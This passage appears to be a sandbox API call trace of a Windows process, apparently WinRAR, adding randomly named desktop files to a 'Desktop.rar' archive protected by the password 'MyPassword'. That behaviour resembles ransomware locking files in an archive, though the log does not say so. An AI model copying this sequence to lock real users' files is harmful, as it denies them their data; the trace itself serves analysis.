(in: hFile=0x198, lpBuffer=0x293fde0*, nNumberOfBytesToWrite=0x11080, lpNumberOfBytesWritten=0x1bd400, lpOverlapped=0x0 | out: lpBuffer=0x293fde0*, lpNumberOfBytesWritten=0x1bd400*=0x11080, lpOverlapped=0x0) returned 1 [0063.609] PeekMessageW (in: lpMsg=0x1bd370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd370) returned 0 [0063.609] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.609] SetFilePointer (in: hFile=0x198, lDistanceToMove=8335953, lpDistanceToMoveHigh=0x1bd3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1bd3c0*=0) returned 0x7f3251 [0063.610] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1b9aa0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1b9aa0*=0) returned 0x7f3251 [0063.610] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49460 [0063.610] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49490 [0063.610] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49490, Size=0x48) returned 0x34e340 [0063.610] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x30) returned 0x3c39490 [0063.610] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49490 [0063.610] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49490, Size=0x48) returned 0x34e390 [0063.610] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c39490 | out: hHeap=0x290000) returned 1 [0063.610] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e340 | out: hHeap=0x290000) returned 1 [0063.610] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49490 [0063.610] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c494c0 [0063.610] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c494c0 | out: hHeap=0x290000) returned 1 [0063.610] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49490 | out: hHeap=0x290000) returned 1 [0063.610] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49460, Size=0x48) returned 0x34e340 [0063.610] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x34e340, Size=0x7a) returned 0x36ea60 [0063.610] WriteFile (in: hFile=0x198, lpBuffer=0x36ea63*, nNumberOfBytesToWrite=0x75, lpNumberOfBytesWritten=0x1b80e0, lpOverlapped=0x0 | out: lpBuffer=0x36ea63*, lpNumberOfBytesWritten=0x1b80e0*=0x75, lpOverlapped=0x0) returned 1 [0063.610] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49460 [0063.610] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x75) returned 0x299df40 [0063.610] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e390 | out: hHeap=0x290000) returned 1 [0063.610] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x36ea60 | out: hHeap=0x290000) returned 1 [0063.610] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1bd3c0*=0) returned 0x804346 [0063.610] CloseHandle (hObject=0x1b0) returned 1 [0063.610] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0063.610] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.610] PeekMessageW (in: lpMsg=0x1bd6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd6c0) returned 0 [0063.610] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.610] FindFirstFileW (in: lpFileName="wfNksu nJRG5\\GeJdlc0asWB3ISPXdFJ8.csv", lpFindFileData=0x1bc480 | out: lpFindFileData=0x1bc480) returned 0x3c72330 [0063.611] FindClose (in: hFindFile=0x3c72330 | out: hFindFile=0x3c72330) returned 1 [0063.611] CreateFileW (lpFileName="wfNksu nJRG5\\GeJdlc0asWB3ISPXdFJ8.csv" (normalized: "c:\\users\\whuoxysd\\desktop\\wfnksu njrg5\\gejdlc0aswb3ispxdfj8.csv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0063.611] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2df230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0063.611] GetTickCount () returned 0xa663c4 [0063.611] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1bd2e0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0063.611] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0063.611] GetWindowTextW (in: hWnd=0x10214, lpString=0x1bbe90, nMaxCount=2560 | out: lpString="adding") returned 6 [0063.611] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0063.611] GetWindowTextW (in: hWnd=0x10216, lpString=0x1bbe90, nMaxCount=2560 | out: lpString="3rrOtsNWKjt8qLje.swf") returned 20 [0063.611] SetWindowTextW (hWnd=0x10216, lpString="GeJdlc0asWB3ISPXdFJ8.csv") returned 1 [0063.611] GetTickCount () returned 0xa663c4 [0063.611] UpdateWindow (hWnd=0x1020e) returned 1 [0063.611] PeekMessageW (in: lpMsg=0x1bd6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd6c0) returned 0 [0063.611] CryptAcquireContextW (in: phProv=0x1bd670, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1bd670*=0x2b25f0) returned 1 [0063.612] CryptGenRandom (in: hProv=0x2b25f0, dwLen=0x10, pbBuffer=0x1bd6f0 | out: pbBuffer=0x1bd6f0) returned 1 [0063.612] CryptReleaseContext (hProv=0x2b25f0, dwFlags=0x0) returned 1 [0063.612] GetSystemTime (in: lpSystemTime=0x1bd608 | out: lpSystemTime=0x1bd608*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x19, wMilliseconds=0x125)) [0063.612] SystemTimeToFileTime (in: lpSystemTime=0x1bd608, lpFileTime=0x1bd600 | out: lpFileTime=0x1bd600) returned 1 [0063.612] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd630 | out: lpPerformanceCount=0x1bd630*=80885107852) returned 1 [0063.612] ReadFile (in: hFile=0x1b0, lpBuffer=0x3790040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1bd710, lpOverlapped=0x0 | out: lpBuffer=0x3790040*, lpNumberOfBytesRead=0x1bd710*=0x67d8, lpOverlapped=0x0) returned 1 [0063.612] ReadFile (in: hFile=0x1b0, lpBuffer=0x3796818, nNumberOfBytesToRead=0xf9828, lpNumberOfBytesRead=0x1bd710, lpOverlapped=0x0 | out: lpBuffer=0x3796818*, lpNumberOfBytesRead=0x1bd710*=0x0, lpOverlapped=0x0) returned 1 [0063.612] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49490 [0063.612] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c494c0 [0063.612] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c494c0, Size=0x48) returned 0x34e390 [0063.612] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x30) returned 0x3c39490 [0063.612] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c494c0 [0063.612] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c494c0, Size=0x48) returned 0x34e340 [0063.612] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c39490 | out: hHeap=0x290000) returned 1 [0063.612] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e390 | out: hHeap=0x290000) returned 1 [0063.612] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c494c0 [0063.612] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c494f0 [0063.612] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c494f0 | out: hHeap=0x290000) returned 1 [0063.613] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c494c0 | out: hHeap=0x290000) returned 1 [0063.613] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49490, Size=0x48) returned 0x34e390 [0063.613] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x34e390, Size=0x7c) returned 0x36ea60 [0063.613] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e340 | out: hHeap=0x290000) returned 1 [0063.613] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x36ea60 | out: hHeap=0x290000) returned 1 [0063.614] GetTickCount () returned 0xa663c4 [0063.614] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd550 | out: lpPerformanceCount=0x1bd550*=80885327953) returned 1 [0063.614] GetTickCount () returned 0xa663c4 [0063.614] GetTickCount () returned 0xa663c4 [0063.614] GetTickCount () returned 0xa663c4 [0063.614] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0063.614] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0063.614] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.614] ResetEvent (hEvent=0x1a4) returned 1 [0063.614] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.615] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.615] ResetEvent (hEvent=0x1a4) returned 1 [0063.615] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.617] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.617] GetTickCount () returned 0xa663d4 [0063.617] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd520 | out: lpPerformanceCount=0x1bd520*=80885671823) returned 1 [0063.617] GetTickCount () returned 0xa663d4 [0063.617] GetTickCount () returned 0xa663d4 [0063.617] GetTickCount () returned 0xa663d4 [0063.617] PeekMessageW (in: lpMsg=0x1bd5f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5f0) returned 1 [0063.617] GetMessageW (in: lpMsg=0x1bd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd580) returned 1 [0063.617] GetFocus () returned 0x10232 [0063.617] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd580) returned 1 [0063.618] PeekMessageW (in: lpMsg=0x1bd5f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5f0) returned 1 [0063.618] GetMessageW (in: lpMsg=0x1bd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd580) returned 1 [0063.618] GetFocus () returned 0x10232 [0063.618] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd580) returned 1 [0063.618] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.618] ResetEvent (hEvent=0x190) returned 1 [0063.618] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.618] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.618] ResetEvent (hEvent=0x190) returned 1 [0063.618] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.619] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.619] PeekMessageW (in: lpMsg=0x1bd370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd370) returned 0 [0063.619] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.619] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd400*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bd400*=0) returned 0x804346 [0063.619] SetFilePointer (in: hFile=0x198, lDistanceToMove=121, lpDistanceToMoveHigh=0x1bd3d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bd3d0*=0) returned 0x8043bf [0063.619] CryptUnprotectMemory (in: pDataIn=0x1bd280, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bd280) returned 1 [0063.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1bd200, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0063.619] CryptUnprotectMemory (in: pDataIn=0x1bcc60, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bcc60) returned 1 [0063.619] CryptUnprotectMemory (in: pDataIn=0x1bcd60, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bcd60) returned 1 [0063.619] CryptUnprotectMemory (in: pDataIn=0x1bcee0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1bcee0) returned 1 [0063.619] WriteFile (in: hFile=0x198, lpBuffer=0x293fde0*, nNumberOfBytesToWrite=0x6830, lpNumberOfBytesWritten=0x1bd400, lpOverlapped=0x0 | out: lpBuffer=0x293fde0*, lpNumberOfBytesWritten=0x1bd400*=0x6830, lpOverlapped=0x0) returned 1 [0063.620] PeekMessageW (in: lpMsg=0x1bd370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd370) returned 0 [0063.620] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.620] SetFilePointer (in: hFile=0x198, lDistanceToMove=8405830, lpDistanceToMoveHigh=0x1bd3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1bd3c0*=0) returned 0x804346 [0063.620] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1b9aa0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1b9aa0*=0) returned 0x804346 [0063.620] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49490 [0063.620] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c494c0 [0063.620] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c494c0, Size=0x48) returned 0x34e340 [0063.620] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x30) returned 0x3c39490 [0063.620] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c494c0 [0063.620] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c494c0, Size=0x48) returned 0x34e390 [0063.620] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c39490 | out: hHeap=0x290000) returned 1 [0063.620] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e340 | out: hHeap=0x290000) returned 1 [0063.620] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c494c0 [0063.620] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c494f0 [0063.620] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c494f0 | out: hHeap=0x290000) returned 1 [0063.620] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c494c0 | out: hHeap=0x290000) returned 1 [0063.620] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49490, Size=0x48) returned 0x34e340 [0063.620] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x34e340, Size=0x7c) returned 0x36ea60 [0063.620] WriteFile (in: hFile=0x198, lpBuffer=0x36ea63*, nNumberOfBytesToWrite=0x79, lpNumberOfBytesWritten=0x1b80e0, lpOverlapped=0x0 | out: lpBuffer=0x36ea63*, lpNumberOfBytesWritten=0x1b80e0*=0x79, lpOverlapped=0x0) returned 1 [0063.620] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49490 [0063.620] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x79) returned 0x36ec10 [0063.620] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e390 | out: hHeap=0x290000) returned 1 [0063.620] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x36ea60 | out: hHeap=0x290000) returned 1 [0063.620] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1bd3c0*=0) returned 0x80abef [0063.620] CloseHandle (hObject=0x1b0) returned 1 [0063.620] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0063.620] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.620] PeekMessageW (in: lpMsg=0x1bd6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd6c0) returned 0 [0063.620] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.620] FindFirstFileW (in: lpFileName="wfNksu nJRG5\\qHh6uE8iAnd.xls", lpFindFileData=0x1bc480 | out: lpFindFileData=0x1bc480) returned 0x3c72330 [0063.620] FindClose (in: hFindFile=0x3c72330 | out: hFindFile=0x3c72330) returned 1 [0063.620] CreateFileW (lpFileName="wfNksu nJRG5\\qHh6uE8iAnd.xls" (normalized: "c:\\users\\whuoxysd\\desktop\\wfnksu njrg5\\qhh6ue8iand.xls"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0063.621] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2df630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0063.621] GetTickCount () returned 0xa663d4 [0063.621] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1bd2e0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0063.621] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0063.621] GetWindowTextW (in: hWnd=0x10214, lpString=0x1bbe90, nMaxCount=2560 | out: lpString="adding") returned 6 [0063.621] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0063.621] GetWindowTextW (in: hWnd=0x10216, lpString=0x1bbe90, nMaxCount=2560 | out: lpString="GeJdlc0asWB3ISPXdFJ8.csv") returned 24 [0063.621] SetWindowTextW (hWnd=0x10216, lpString="qHh6uE8iAnd.xls") returned 1 [0063.621] GetTickCount () returned 0xa663d4 [0063.621] PeekMessageW (in: lpMsg=0x1bd6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd6c0) returned 0 [0063.621] CryptAcquireContextW (in: phProv=0x1bd670, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1bd670*=0x2b25f0) returned 1 [0063.621] CryptGenRandom (in: hProv=0x2b25f0, dwLen=0x10, pbBuffer=0x1bd6f0 | out: pbBuffer=0x1bd6f0) returned 1 [0063.621] CryptReleaseContext (hProv=0x2b25f0, dwFlags=0x0) returned 1 [0063.621] GetSystemTime (in: lpSystemTime=0x1bd608 | out: lpSystemTime=0x1bd608*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x19, wMilliseconds=0x135)) [0063.621] SystemTimeToFileTime (in: lpSystemTime=0x1bd608, lpFileTime=0x1bd600 | out: lpFileTime=0x1bd600) returned 1 [0063.621] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd630 | out: lpPerformanceCount=0x1bd630*=80886086302) returned 1 [0063.622] ReadFile (in: hFile=0x1b0, lpBuffer=0x3790040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1bd710, lpOverlapped=0x0 | out: lpBuffer=0x3790040*, lpNumberOfBytesRead=0x1bd710*=0x137bb, lpOverlapped=0x0) returned 1 [0063.622] ReadFile (in: hFile=0x1b0, lpBuffer=0x37a37fb, nNumberOfBytesToRead=0xec845, lpNumberOfBytesRead=0x1bd710, lpOverlapped=0x0 | out: lpBuffer=0x37a37fb*, lpNumberOfBytesRead=0x1bd710*=0x0, lpOverlapped=0x0) returned 1 [0063.622] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0063.622] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.622] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c494c0 [0063.622] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c494f0 [0063.622] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c494f0, Size=0x48) returned 0x34e390 [0063.622] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x30) returned 0x3c39490 [0063.622] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c494f0 [0063.622] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c494f0, Size=0x48) returned 0x34e340 [0063.622] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c39490 | out: hHeap=0x290000) returned 1 [0063.622] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e390 | out: hHeap=0x290000) returned 1 [0063.622] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c494f0 [0063.623] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49520 [0063.623] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49520 | out: hHeap=0x290000) returned 1 [0063.623] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c494f0 | out: hHeap=0x290000) returned 1 [0063.623] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c494c0, Size=0x48) returned 0x34e390 [0063.623] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x34e390, Size=0x7a) returned 0x36ea60 [0063.623] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e340 | out: hHeap=0x290000) returned 1 [0063.623] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x36ea60 | out: hHeap=0x290000) returned 1 [0063.623] GetTickCount () returned 0xa663d4 [0063.623] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd550 | out: lpPerformanceCount=0x1bd550*=80886245567) returned 1 [0063.623] GetTickCount () returned 0xa663d4 [0063.623] GetTickCount () returned 0xa663d4 [0063.623] GetTickCount () returned 0xa663d4 [0063.623] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0063.623] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0063.623] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.623] ResetEvent (hEvent=0x1a4) returned 1 [0063.623] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.624] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.625] ResetEvent (hEvent=0x1a4) returned 1 [0063.625] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.627] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.627] ResetEvent (hEvent=0x1a4) returned 1 [0063.627] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.629] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.629] GetTickCount () returned 0xa663d4 [0063.629] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd520 | out: lpPerformanceCount=0x1bd520*=80886835388) returned 1 [0063.629] GetTickCount () returned 0xa663d4 [0063.629] GetTickCount () returned 0xa663d4 [0063.629] GetTickCount () returned 0xa663d4 [0063.629] PeekMessageW (in: lpMsg=0x1bd5f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5f0) returned 0 [0063.629] PeekMessageW (in: lpMsg=0x1bd5f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5f0) returned 0 [0063.629] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.629] ResetEvent (hEvent=0x190) returned 1 [0063.629] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.630] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.630] ResetEvent (hEvent=0x190) returned 1 [0063.630] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.630] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.630] PeekMessageW (in: lpMsg=0x1bd370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd370) returned 0 [0063.630] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.630] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd400*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bd400*=0) returned 0x80abef [0063.630] SetFilePointer (in: hFile=0x198, lDistanceToMove=112, lpDistanceToMoveHigh=0x1bd3d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bd3d0*=0) returned 0x80ac5f [0063.630] CryptUnprotectMemory (in: pDataIn=0x1bd280, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bd280) returned 1 [0063.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1bd200, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0063.631] CryptUnprotectMemory (in: pDataIn=0x1bcc60, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bcc60) returned 1 [0063.631] CryptUnprotectMemory (in: pDataIn=0x1bcd60, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bcd60) returned 1 [0063.631] CryptUnprotectMemory (in: pDataIn=0x1bcee0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1bcee0) returned 1 [0063.631] WriteFile (in: hFile=0x198, lpBuffer=0x293fde0*, nNumberOfBytesToWrite=0x13850, lpNumberOfBytesWritten=0x1bd400, lpOverlapped=0x0 | out: lpBuffer=0x293fde0*, lpNumberOfBytesWritten=0x1bd400*=0x13850, lpOverlapped=0x0) returned 1 [0063.632] PeekMessageW (in: lpMsg=0x1bd370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd370) returned 1 [0063.632] 